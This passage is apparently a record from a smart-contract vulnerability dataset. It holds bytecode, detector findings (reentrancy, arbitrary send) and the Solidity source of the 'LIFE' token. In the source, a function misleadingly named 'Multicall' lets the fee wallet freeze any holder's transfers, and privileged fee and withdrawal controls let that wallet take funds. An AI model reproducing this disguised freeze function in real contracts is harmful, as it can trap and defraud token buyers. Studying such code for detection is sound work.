b60105481111561184a57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118ee5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118f757600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a25750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119f85750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a105750600f60179054906101000a900460ff165b15611ab15742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6057600080fd5b600842611a6d91906131ae565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611abc30610e2b565b9050600f60159054906101000a900460ff16158015611b295750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b415750600f60169054906101000a900460ff165b15611b6957611b4f81611dfb565b60004790506000811115611b6757611b6647611c92565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c125750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c1c57600090505b611c28848484846121ba565b50505050565b6000838311158290611c76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6d9190612ed6565b60405180910390fd5b5060008385611c85919061328f565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce260028461217090919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d0d573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d5e60028461217090919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d89573d6000803e3d6000fd5b5050565b6000600654821115611dd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dcb90612f38565b60405180910390fd5b6000611dde6121e7565b9050611df3818461217090919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e59577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e875781602001602082028036833780820191505090505b5090503081600081518110611ec5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6757600080fd5b505afa158015611f7b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f9f9190612945565b81600181518110611fd9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204030600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a4565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a4959493929190613093565b600060405180830381600087803b1580156120be57600080fd5b505af11580156120d2573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b600080831415612108576000905061216a565b600082846121169190613235565b90508284826121259190613204565b14612165576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215c90612fb8565b60405180910390fd5b809150505b92915050565b60006121b283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612212565b905092915050565b806121c8576121c7612275565b5b6121d38484846122a6565b806121e1576121e0612471565b5b50505050565b60008060006121f4612483565b9150915061220b818361217090919063ffffffff16565b9250505090565b60008083118290612259576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122509190612ed6565b60405180910390fd5b50600083856122689190613204565b9050809150509392505050565b600060085414801561228957506000600954145b15612293576122a4565b600060088190555060006009819055505b565b6000806000806000806122b8876124e2565b95509550955095509550955061231686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461254a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123ab85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123f7816125f2565b61240184836126af565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161245e9190613078565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000670de0b6b3a764000090506124b7670de0b6b3a764000060065461217090919063ffffffff16565b8210156124d557600654670de0b6b3a76400009350935050506124de565b81819350935050505b9091565b60008060008060008060008060006124ff8a6008546009546126e9565b925092509250600061250f6121e7565b905060008060006125228e87878761277f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061258c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c2e565b905092915050565b60008082846125a391906131ae565b9050838110156125e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125df90612f78565b60405180910390fd5b8091505092915050565b60006125fc6121e7565b9050600061261382846120f590919063ffffffff16565b905061266781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126c48260065461254a90919063ffffffff16565b6006819055506126df8160075461259490919063ffffffff16565b6007819055505050565b6000806000806127156064612707888a6120f590919063ffffffff16565b61217090919063ffffffff16565b9050600061273f6064612731888b6120f590919063ffffffff16565b61217090919063ffffffff16565b905060006127688261275a858c61254a90919063ffffffff16565b61254a90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061279885896120f590919063ffffffff16565b905060006127af86896120f590919063ffffffff16565b905060006127c687896120f590919063ffffffff16565b905060006127ef826127e1858761254a90919063ffffffff16565b61254a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061281b6128168461312d565b613108565b9050808382526020820190508285602086028201111561283a57600080fd5b60005b8581101561286a57816128508882612874565b84526020840193506020830192505060018101905061283d565b5050509392505050565b6000813590506128838161376b565b92915050565b6000815190506128988161376b565b92915050565b600082601f8301126128af57600080fd5b81356128bf848260208601612808565b91505092915050565b6000813590506128d781613782565b92915050565b6000815190506128ec81613782565b92915050565b60008135905061290181613799565b92915050565b60008151905061291681613799565b92915050565b60006020828403121561292e57600080fd5b600061293c84828501612874565b91505092915050565b60006020828403121561295757600080fd5b600061296584828501612889565b91505092915050565b6000806040838503121561298157600080fd5b600061298f85828601612874565b92505060206129a085828601612874565b9150509250929050565b6000806000606084860312156129bf57600080fd5b60006129cd86828701612874565b93505060206129de86828701612874565b92505060406129ef868287016128f2565b9150509250925092565b60008060408385031215612a0c57600080fd5b6000612a1a85828601612874565b9250506020612a2b858286016128f2565b9150509250929050565b600060208284031215612a4757600080fd5b600082013567ffffffffffffffff811115612a6157600080fd5b612a6d8482850161289e565b91505092915050565b600060208284031215612a8857600080fd5b6000612a96848285016128c8565b91505092915050565b600060208284031215612ab157600080fd5b6000612abf848285016128dd565b91505092915050565b600060208284031215612ada57600080fd5b6000612ae8848285016128f2565b91505092915050565b600080600060608486031215612b0657600080fd5b6000612b1486828701612907565b9350506020612b2586828701612907565b9250506040612b3686828701612907565b9150509250925092565b6000612b4c8383612b58565b60208301905092915050565b612b61816132c3565b82525050565b612b70816132c3565b82525050565b6000612b8182613169565b612b8b818561318c565b9350612b9683613159565b8060005b83811015612bc7578151612bae8882612b40565b9750612bb98361317f565b925050600181019050612b9a565b5085935050505092915050565b612bdd816132d5565b82525050565b612bec81613318565b82525050565b6000612bfd82613174565b612c07818561319d565b9350612c1781856020860161332a565b612c2081613464565b840191505092915050565b6000612c3860238361319d565b9150612c4382613475565b604082019050919050565b6000612c5b601a8361319d565b9150612c66826134c4565b602082019050919050565b6000612c7e602a8361319d565b9150612c89826134ed565b604082019050919050565b6000612ca160228361319d565b9150612cac8261353c565b604082019050919050565b6000612cc4601b8361319d565b9150612ccf8261358b565b602082019050919050565b6000612ce7601d8361319d565b9150612cf2826135b4565b602082019050919050565b6000612d0a60218361319d565b9150612d15826135dd565b604082019050919050565b6000612d2d60208361319d565b9150612d388261362c565b602082019050919050565b6000612d5060298361319d565b9150612d5b82613655565b604082019050919050565b6000612d7360258361319d565b9150612d7e826136a4565b604082019050919050565b6000612d9660248361319d565b9150612da1826136f3565b604082019050919050565b6000612db960118361319d565b9150612dc482613742565b602082019050919050565b612dd881613301565b82525050565b612de78161330b565b82525050565b6000602082019050612e026000830184612b67565b92915050565b6000604082019050612e1d6000830185612b67565b612e2a6020830184612b67565b9392505050565b6000604082019050612e466000830185612b67565b612e536020830184612dcf565b9392505050565b600060c082019050612e6f6000830189612b67565b612e7c6020830188612dcf565b612e896040830187612be3565b612e966060830186612be3565b612ea36080830185612b67565b612eb060a0830184612dcf565b979650505050505050565b6000602082019050612ed06000830184612bd4565b92915050565b60006020820190508181036000830152612ef08184612bf2565b905092915050565b60006020820190508181036000830152612f1181612c2b565b9050919050565b60006020820190508181036000830152612f3181612c4e565b9050919050565b60006020820190508181036000830152612f5181612c71565b9050919050565b60006020820190508181036000830152612f7181612c94565b9050919050565b60006020820190508181036000830152612f9181612cb7565b9050919050565b60006020820190508181036000830152612fb181612cda565b9050919050565b60006020820190508181036000830152612fd181612cfd565b9050919050565b60006020820190508181036000830152612ff181612d20565b9050919050565b6000602082019050818103600083015261301181612d43565b9050919050565b6000602082019050818103600083015261303181612d66565b9050919050565b6000602082019050818103600083015261305181612d89565b9050919050565b6000602082019050818103600083015261307181612dac565b9050919050565b600060208201905061308d6000830184612dcf565b92915050565b600060a0820190506130a86000830188612dcf565b6130b56020830187612be3565b81810360408301526130c78186612b76565b90506130d66060830185612b67565b6130e36080830184612dcf565b9695505050505050565b60006020820190506131026000830184612dde565b92915050565b6000613112613123565b905061311e828261335d565b919050565b6000604051905090565b600067ffffffffffffffff82111561314857613147613435565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131b982613301565b91506131c483613301565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131f9576131f86133d7565b5b828201905092915050565b600061320f82613301565b915061321a83613301565b92508261322a57613229613406565b5b828204905092915050565b600061324082613301565b915061324b83613301565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613284576132836133d7565b5b828202905092915050565b600061329a82613301565b91506132a583613301565b9250828210156132b8576132b76133d7565b5b828203905092915050565b60006132ce826132e1565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332382613301565b9050919050565b60005b8381101561334857808201518184015260208101905061332d565b83811115613357576000848401525b50505050565b61336682613464565b810181811067ffffffffffffffff8211171561338557613384613435565b5b80604052505050565b600061339982613301565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133cc576133cb6133d7565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b613774816132c3565b811461377f57600080fd5b50565b61378b816132d5565b811461379657600080fd5b50565b6137a281613301565b81146137ad57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122080c7349cc9b9e2bac3100b23bc2e6a1457759867004cb345dad6185cfa5ea57564736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,744 |
0x7d14f6372a3a1e97a92e9b9f17a556c964db559e
|
/**
*Submitted for verification at Etherscan.io on 2022-04-16
*/
/**
*Submitted for verification at Etherscan.io on 2022-04-15
*/
// SPDX-License-Identifier: MIT
/*
How to crack my code: I am a Roman statesman and writer
Coded message :
Oh qrpeuh 42 vhudlw od uhsrqvh d od judqgh txhvwlrq vxu od ylh, o'xqlyhuv hw oh uhvwh.
Wurxyhu oh shuh gh fhwwh surskhwlh, fh vhud oh qrp gh qrwuh frpswh whohjudp.
Signature : Jules
*/
pragma solidity ^0.8.13;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract LIFE is Context, IERC20, Ownable { ////
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
mapping (address => bool) private _isBot;
uint private constant _totalSupply = 1e12 * 10**9;
string public constant name = unicode"42"; ////
string public constant symbol = unicode"LIFE"; ////
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable private _FeeAddress1;
address payable private _FeeAddress2;
address public uniswapV2Pair;
uint public _buyFee = 5;
uint public _sellFee = 5;
uint public _feeRate = 9;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap;
bool public _useImpactFeeSetter = true;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event FeeAddress1Updated(address _feewallet1);
event FeeAddress2Updated(address _feewallet2);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable FeeAddress1, address payable FeeAddress2) {
_FeeAddress1 = FeeAddress1;
_FeeAddress2 = FeeAddress2;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress1] = true;
_isExcludedFromFee[FeeAddress2] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){
require (recipient == tx.origin, "pls no bot");
}
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "ERC20: transfer from frozen wallet.");
bool isBuy = false;
if(from != owner() && to != owner()) {
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
require(block.timestamp != _launchedAt, "pls no snip");
if((_launchedAt + (1 hours)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); // 5%
}
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
if((_launchedAt + (120 seconds)) > block.timestamp) {
require(amount <= _maxBuyAmount, "Exceeds maximum buy amount.");
require(cooldown[to].buy < block.timestamp + (15 seconds), "Your buy cooldown has not expired.");
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
// sell
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired.");
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_FeeAddress1.transfer(amount / 2);
_FeeAddress2.transfer(amount / 2);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
if(block.timestamp < _launchedAt + (15 minutes)) {
fee += 5;
}
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
// external functions
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 20000000000 * 10**9; // 2%
_maxHeldTokens = 40000000000 * 10**9; // 4%
}
function manualswap() external {
require(_msgSender() == _FeeAddress1);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress1);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external onlyOwner() {
require(_msgSender() == _FeeAddress1);
require(rate > 0, "Rate can't be zero");
// 100% is the common fee rate
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _FeeAddress1);
require(buy <= 10);
require(sell <= 10);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function Multicall(address[] memory bots_) external {
require(_msgSender() == _FeeAddress1);
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _FeeAddress1);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function toggleImpactFee(bool onoff) external onlyOwner() {
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateFeeAddress1(address newAddress) external {
require(_msgSender() == _FeeAddress1);
_FeeAddress1 = payable(newAddress);
emit FeeAddress1Updated(_FeeAddress1);
}
function updateFeeAddress2(address newAddress) external {
require(_msgSender() == _FeeAddress2);
_FeeAddress2 = payable(newAddress);
emit FeeAddress2Updated(_FeeAddress2);
}
// view functions
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106101f25760003560e01c8063509016171161010d57806395d89b41116100a0578063c9567bf91161006f578063c9567bf914610598578063db92dbb6146105ad578063dcb0e0ad146105c2578063dd62ed3e146105e2578063e8078d941461062857600080fd5b806395d89b411461051d578063a9059cbb1461054d578063b2131f7d1461056d578063c3c8cd801461058357600080fd5b8063715018a6116100dc578063715018a6146104aa5780637a49cddb146104bf5780638da5cb5b146104df57806394b8d8f2146104fd57600080fd5b8063509016171461043f578063590f897e1461045f5780636fc3eaec1461047557806370a082311461048a57600080fd5b806327f3a72a116101855780633bbac579116101545780633bbac5791461039857806340b9a54b146103d157806345596e2e146103e757806349bd5a5e1461040757600080fd5b806327f3a72a14610326578063313ce5671461033b57806331c2d8471461036257806332d873d81461038257600080fd5b80630b78f9c0116101c15780630b78f9c0146102b457806318160ddd146102d45780631940d020146102f057806323b872dd1461030657600080fd5b80630492f055146101fe57806306fdde03146102275780630802d2f614610262578063095ea7b31461028457600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50610214600e5481565b6040519081526020015b60405180910390f35b34801561023357600080fd5b50610255604051806040016040528060028152602001611a1960f11b81525081565b60405161021e9190611bc2565b34801561026e57600080fd5b5061028261027d366004611c3c565b61063d565b005b34801561029057600080fd5b506102a461029f366004611c59565b6106b2565b604051901515815260200161021e565b3480156102c057600080fd5b506102826102cf366004611c85565b6106c8565b3480156102e057600080fd5b50683635c9adc5dea00000610214565b3480156102fc57600080fd5b50610214600f5481565b34801561031257600080fd5b506102a4610321366004611ca7565b61074b565b34801561033257600080fd5b50610214610833565b34801561034757600080fd5b50610350600981565b60405160ff909116815260200161021e565b34801561036e57600080fd5b5061028261037d366004611cfe565b610843565b34801561038e57600080fd5b5061021460105481565b3480156103a457600080fd5b506102a46103b3366004611c3c565b6001600160a01b031660009081526006602052604090205460ff1690565b3480156103dd57600080fd5b50610214600b5481565b3480156103f357600080fd5b50610282610402366004611dc3565b6108cf565b34801561041357600080fd5b50600a54610427906001600160a01b031681565b6040516001600160a01b03909116815260200161021e565b34801561044b57600080fd5b5061028261045a366004611c3c565b610993565b34801561046b57600080fd5b50610214600c5481565b34801561048157600080fd5b50610282610a01565b34801561049657600080fd5b506102146104a5366004611c3c565b610a2e565b3480156104b657600080fd5b50610282610a49565b3480156104cb57600080fd5b506102826104da366004611cfe565b610abd565b3480156104eb57600080fd5b506000546001600160a01b0316610427565b34801561050957600080fd5b506011546102a49062010000900460ff1681565b34801561052957600080fd5b50610255604051806040016040528060048152602001634c49464560e01b81525081565b34801561055957600080fd5b506102a4610568366004611c59565b610bcc565b34801561057957600080fd5b50610214600d5481565b34801561058f57600080fd5b50610282610bd9565b3480156105a457600080fd5b50610282610c0f565b3480156105b957600080fd5b50610214610cb3565b3480156105ce57600080fd5b506102826105dd366004611dea565b610ccb565b3480156105ee57600080fd5b506102146105fd366004611e07565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561063457600080fd5b50610282610d48565b6008546001600160a01b0316336001600160a01b03161461065d57600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f0e96f8986653644392af4a5daec8b04a389af0d497572173e63846ccd26c843c906020015b60405180910390a150565b60006106bf33848461108f565b50600192915050565b6008546001600160a01b0316336001600160a01b0316146106e857600080fd5b600a8211156106f657600080fd5b600a81111561070457600080fd5b600b829055600c81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60115460009060ff16801561077957506001600160a01b03831660009081526004602052604090205460ff16155b80156107925750600a546001600160a01b038581169116145b156107e1576001600160a01b03831632146107e15760405162461bcd60e51b815260206004820152600a6024820152691c1b1cc81b9bc8189bdd60b21b60448201526064015b60405180910390fd5b6107ec8484846111b3565b6001600160a01b038416600090815260036020908152604080832033845290915281205461081b908490611e56565b905061082885338361108f565b506001949350505050565b600061083e30610a2e565b905090565b6008546001600160a01b0316336001600160a01b03161461086357600080fd5b60005b81518110156108cb5760006006600084848151811061088757610887611e6d565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108c381611e83565b915050610866565b5050565b6000546001600160a01b031633146108f95760405162461bcd60e51b81526004016107d890611e9c565b6008546001600160a01b0316336001600160a01b03161461091957600080fd5b6000811161095e5760405162461bcd60e51b8152602060048201526012602482015271526174652063616e2774206265207a65726f60701b60448201526064016107d8565b600d8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020016106a7565b6009546001600160a01b0316336001600160a01b0316146109b357600080fd5b600980546001600160a01b0319166001600160a01b0383169081179091556040519081527f96511497113ddf59712b28350d7457b9c300ab227616bd3b451745a395a53014906020016106a7565b6008546001600160a01b0316336001600160a01b031614610a2157600080fd5b47610a2b81611821565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b03163314610a735760405162461bcd60e51b81526004016107d890611e9c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6008546001600160a01b0316336001600160a01b031614610add57600080fd5b60005b81518110156108cb57600a5482516001600160a01b0390911690839083908110610b0c57610b0c611e6d565b60200260200101516001600160a01b031614158015610b5d575060